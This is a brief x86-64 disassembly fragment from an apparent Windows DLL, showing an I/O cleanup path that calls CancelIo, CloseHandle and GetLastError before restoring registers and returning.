sub edi, dword [rsp + 0x88]
je 0x180010ee5
jmp 0x180010e4a
call qword [sym.imp.KERNEL32.dll_CancelIo]
test edi, edi
jne 0x180010ee7
xor ebx, ebx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180010efc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret